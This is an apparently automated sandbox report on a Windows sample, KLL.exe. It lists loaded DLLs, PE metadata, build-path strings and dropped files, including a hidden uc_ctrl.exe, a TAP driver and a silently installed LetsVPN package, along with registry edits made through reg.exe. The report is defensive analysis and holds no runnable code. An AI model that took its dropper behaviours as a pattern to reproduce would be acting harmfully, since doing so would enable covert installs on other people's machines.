Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll

Source: C:\Users\user\Desktop\KLL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\mmc.exe

Window found: window name: msctls_updown32

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Automated click: Next >
Source: C:\Windows\System32\conhost.exe	Automated click: Install
Source: C:\ProgramData\letsvpn-latest.exe	Automated click: Next >
Source: C:\ProgramData\letsvpn-latest.exe	Automated click: Install

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: KLL.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: KLL.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: KLL.exe

Static file information: File size 32259584 > 1048576

Source: KLL.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x317a00
Source: KLL.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x114a00
Source: KLL.exe	Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1a30800

Source: KLL.exe	Static PE information: More than 200 imports for KERNEL32.dll
Source: KLL.exe	Static PE information: More than 200 imports for USER32.dll

Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: KLL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: KLL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: KLL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\s\Utils\obj\Release\Utils.pdb source: LetsPRO.exe, 00000044.00000002.2598690192.0000000004FD2000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Win32.Registry.AccessControl/net461-windows-Release/Microsoft.Win32.Registry.AccessControl.pdb source: Microsoft.Win32.Registry.AccessControl.dll.19.dr
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdb source: LetsPRO.exe, 00000034.00000002.4552153335.00000000063C2000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: D:\a\1\s\LetsVPN\obj\Release\LetsPRO.pdb source: LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb22 source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000010.00000000.2110079362.0000000000B3A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdb source: System.ObjectModel.dll.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdbX+r+ d+_CorDllMainmscoree.dll source: System.ObjectModel.dll.19.dr
Source:	Binary string: c:\git\OSS\notifyicon-wpf\Hardcodet.NotifyIcon.Wpf\Source\NotifyIconWpf\obj\Release\Hardcodet.Wpf.TaskbarNotification.pdb source: LetsPRO.exe, 00000034.00000002.4585596709.0000000037F82000.00000002.00000001.01000000.00000032.sdmp
Source:	Binary string: C:\Users\eric\dev\cb\bld\bin\e_sqlite3\win\v141\plain\x86\e_sqlite3.pdb source: LetsPRO.exe, 00000034.00000002.4635321304.0000000067CA7000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdb source: tapinstall.exe, 0000001D.00000002.2307967227.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001D.00000000.2306396424.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000000.2308899361.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000002.2350347026.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000031.00000000.2367020724.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000031.00000002.2368504113.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4560500804.000000002FC52000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb source: LetsPRO.exe, 00000034.00000002.4588396530.0000000038132000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdb source: System.Security.Cryptography.Encoding.dll.19.dr
Source:	Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4551634567.0000000006322000.00000002.00000001.01000000.0000001E.sdmp, CommunityToolkit.Mvvm.dll.19.dr
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdb source: LetsPRO.exe, 00000034.00000002.4520579062.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4560889921.000000002FF02000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdb source: LetsPRO.exe, 00000034.00000002.4567455521.0000000030B22000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: LetsPRO.exe, 00000034.00000002.4607168413.0000000039882000.00000002.00000001.01000000.0000003B.sdmp
Source:	Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdb source: LetsPRO.exe, 00000034.00000002.4551634567.0000000006322000.00000002.00000001.01000000.0000001E.sdmp, CommunityToolkit.Mvvm.dll.19.dr
Source:	Binary string: /_/artifacts/obj/System.Data.Odbc/net461-windows-Release/System.Data.Odbc.pdb source: System.Data.Odbc.dll.19.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4567455521.0000000030B22000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.ValueTuple\netfx\System.ValueTuple.pdbT source: System.ValueTuple.dll.19.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: uc_ctrl.exe, 00000010.00000002.4522204610.000000006E111000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdb source: LetsPRO.exe, 00000034.00000002.4560652507.000000002FC62000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Win32.Registry.AccessControl/net461-windows-Release/Microsoft.Win32.Registry.AccessControl.pdbSHA256a? source: Microsoft.Win32.Registry.AccessControl.dll.19.dr
Source:	Binary string: D:\Mannelig\Dev\Projects\NET\WpfToastNotifications\Src\ToastNotifications.Messages\obj\Release\ToastNotifications.Messages.pdb source: ToastNotifications.Messages.dll.19.dr
Source:	Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdb source: LetsPRO.exe, 00000044.00000002.2599280133.0000000005092000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: e:\ExpressionRTM\Sparkle\SDK\BlendWPFSDK\Build\Intermediate\Release\Libraries\System.Windows.Interactivity\Win32\Release\System.Windows.Interactivity.pdb source: System.Windows.Interactivity.dll.19.dr
Source:	Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdbwD source: LetsPRO.exe, 00000044.00000002.2599280133.0000000005092000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: Extract: Mono.Cecil.Pdb.dll... 100% ! source: letsvpn-latest.exe, 00000013.00000003.2429017380.0000000000514000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000013.00000002.2429975005.0000000000514000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: LetsPRO.exe, 00000034.00000002.4552261430.00000000063D2000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: msvcp140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Data.Common/netfx\System.Data.Common.pdb source: System.Data.Common.dll.19.dr
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdbSHA256, source: LetsPRO.exe, 00000034.00000002.4560652507.000000002FC62000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdbT)n) `)_CorDllMainmscoree.dll source: System.Security.Cryptography.Encoding.dll.19.dr
Source:	Binary string: /_/artifacts/obj/System.Data.Odbc/net461-windows-Release/System.Data.Odbc.pdbSHA256x source: System.Data.Odbc.dll.19.dr
Source:	Binary string: WebView2Loader.dll.pdb source: WebView2Loader.dll1.19.dr
Source:	Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb* source: LetsPRO.exe, 00000034.00000002.4588396530.0000000038132000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: C:\Users\winsign\samuli\source\repos\tap-windows6\src\x64\Release\tap0901.pdb source: drvinst.exe, 00000022.00000003.2329204518.00000281E46FC000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000022.00000003.2324274722.00000281E463C000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000023.00000003.2347234042.0000020DB2EA4000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000023.00000003.2347404937.0000020DB2EA4000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000023.00000002.2347809809.0000020DB2EA4000.00000004.00000020.00020000.00000000.sdmp, drvinst.exe, 00000023.00000003.2345791449.0000020DB2EA2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdbR source: LetsPRO.exe, 00000034.00000002.4588242071.0000000038122000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Queryable\4.0.1.0\System.Linq.Queryable.pdb source: System.Linq.Queryable.dll.19.dr
Source:	Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb source: uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000010.00000000.2110079362.0000000000B3A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdb source: LetsPRO.exe, 00000034.00000002.4576795578.0000000035362000.00000002.00000001.01000000.00000037.sdmp
Source:	Binary string: D:\a\_work\1\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: LetsPRO.exe, 00000034.00000002.4552613363.0000000006402000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: C:\Users\ani\code\squirrel\squirrel.windows\build\Release\Win32\StubExecutable.pdb source: LetsPRO.exe, 00000033.00000002.2436972235.0000000000C6D000.00000002.00000001.01000000.00000017.sdmp, LetsPRO.exe, 00000033.00000000.2427297840.0000000000C6D000.00000002.00000001.01000000.00000017.sdmp, LetsPRO.exe.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Thread\4.0.2.0\System.Threading.Thread.pdb source: System.Threading.Thread.dll.19.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TraceSource\4.0.2.0\System.Diagnostics.TraceSource.pdb source: System.Diagnostics.TraceSource.dll.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdb source: System.Diagnostics.FileVersionInfo.dll.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdbt( source: System.Threading.Timer.dll.19.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdb source: System.Threading.Timer.dll.19.dr
Source:	Binary string: D:\a\1\s\LetsVPNInfraStructure\obj\Release\LetsVPNInfraStructure.pdb source: LetsPRO.exe, 00000034.00000002.4552367925.00000000063E2000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdbBSJB source: LetsPRO.exe, 00000034.00000002.4551976180.0000000006352000.00000002.00000001.01000000.00000021.sdmp, System.Runtime.CompilerServices.Unsafe.dll.19.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdbSHA256xpRb source: LetsPRO.exe, 00000034.00000002.4567637378.0000000030B52000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: LetsPRO.exe, 00000034.00000002.4567805544.0000000030B72000.00000002.00000001.01000000.0000002C.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.Unsafe\net461-Release\System.Runtime.CompilerServices.Unsafe.pdb source: LetsPRO.exe, 00000034.00000002.4551976180.0000000006352000.00000002.00000001.01000000.00000021.sdmp, System.Runtime.CompilerServices.Unsafe.dll.19.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4567805544.0000000030B72000.00000002.00000001.01000000.0000002C.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: uc_ctrl.exe, uc_ctrl.exe, 00000010.00000002.4522204610.000000006E111000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdbp( source: System.Diagnostics.FileVersionInfo.dll.19.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: uc_ctrl.exe, 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdb source: LetsPRO.exe, 00000034.00000002.4560500804.000000002FC52000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Primitives/netfx\System.Runtime.Serialization.Primitives.pdb source: System.Runtime.Serialization.Primitives.dll.19.dr
Source:	Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdbH source: tapinstall.exe, 0000001D.00000002.2307967227.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001D.00000000.2306396424.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000000.2308899361.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000002.2350347026.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000031.00000000.2367020724.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000031.00000002.2368504113.00007FF78E4D1000.00000020.00000001.01000000.00000016.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb source: System.Runtime.Numerics.dll.19.dr
Source:	Binary string: C:\WorkShop\SuperSocket.ClientEngine\obj\Release\SuperSocket.ClientEngine.pdb source: LetsPRO.exe, 00000034.00000002.4588242071.0000000038122000.00000002.00000001.01000000.00000038.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4567552458.0000000030B42000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.ValueTuple\netfx\System.ValueTuple.pdb source: System.ValueTuple.dll.19.dr
Source:	Binary string: C:\Users\IEUser\pusher-websocket-dotnet\PusherClient\obj\release\net46\PusherClient.pdbSHA256 source: LetsPRO.exe, 00000034.00000002.4576795578.0000000035362000.00000002.00000001.01000000.00000037.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: LetsPRO.exe, 00000034.00000002.4552153335.00000000063C2000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb\|( source: System.Runtime.Numerics.dll.19.dr
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: LetsPRO.exe, 00000034.00000002.4567637378.0000000030B52000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdbSHA256X7 source: LetsPRO.exe, 00000034.00000002.4520579062.00000000013B3000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4560889921.000000002FF02000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.nativelibrary\obj\Release\netstandard2.0\SQLitePCLRaw.nativelibrary.pdb source: LetsPRO.exe, 00000034.00000002.4567552458.0000000030B42000.00000002.00000001.01000000.0000002A.sdmp

Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: KLL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: System.Web.Services.Description.resources.dll.19.dr

Static PE information: 0xC7B3326B [Mon Mar 2 21:23:55 2076 UTC]

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_00000001800060F0 LoadLibraryW,GetProcAddress,ShellExecuteW,LoadLibraryW,GetProcAddress,Sleep,SleepEx,DeleteFileW,CreateDirectoryW,Sleep,SleepEx,Sleep,SleepEx,ShellExecuteW,Sleep,SleepEx,Sleep,SleepEx,DeleteFileW,DeleteFileW,DeleteFileW,

0_2_00000001800060F0

Source: KLL.exe	Static PE information: section name: .giats
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: vcruntime140.dll.0.dr	Static PE information: section name: _RDATA
Source: s.0.dr	Static PE information: section name: .giats
Source: uc_guilib.dll.13.dr	Static PE information: section name: .giats
Source: msvcp140.dll.16.dr	Static PE information: section name: .didat
Source: uc_guilib.dll.16.dr	Static PE information: section name: .giats
Source: vcruntime140.dll.16.dr	Static PE information: section name: _RDATA
Source: e_sqlite3.dll0.19.dr	Static PE information: section name: _RDATA
Source: WebView2Loader.dll.19.dr	Static PE information: section name: .00cfg
Source: WebView2Loader.dll.19.dr	Static PE information: section name: _RDATA
Source: WebView2Loader.dll0.19.dr	Static PE information: section name: .00cfg
Source: WebView2Loader.dll0.19.dr	Static PE information: section name: .voltbl

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_00B390A6 push ecx; ret	16_2_00B390B9
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D021D16 push ecx; ret	16_2_6D021D29
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D021B85 push ecx; ret	16_2_6D021B98
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D1CAE76 push ecx; ret	16_2_6D1CAE89
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D198B0A push ebx; ret	16_2_6D198B0D
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D198B06 push es; ret	16_2_6D198B09

Source: e_sqlite3.dll.19.dr

Static PE information: section name: .text entropy: 7.128615396301837

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\letsvpn-latest.exe

File created: C:\Program Files (x86)\letsvpn\driver\tap0901.sys

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.MemoryMappedFiles.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dll	Jump to dropped file
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File created: C:\Users\user\Videos\57B1EA86~m8\uc_guilib.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\LetsPRO.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dll	Jump to dropped file
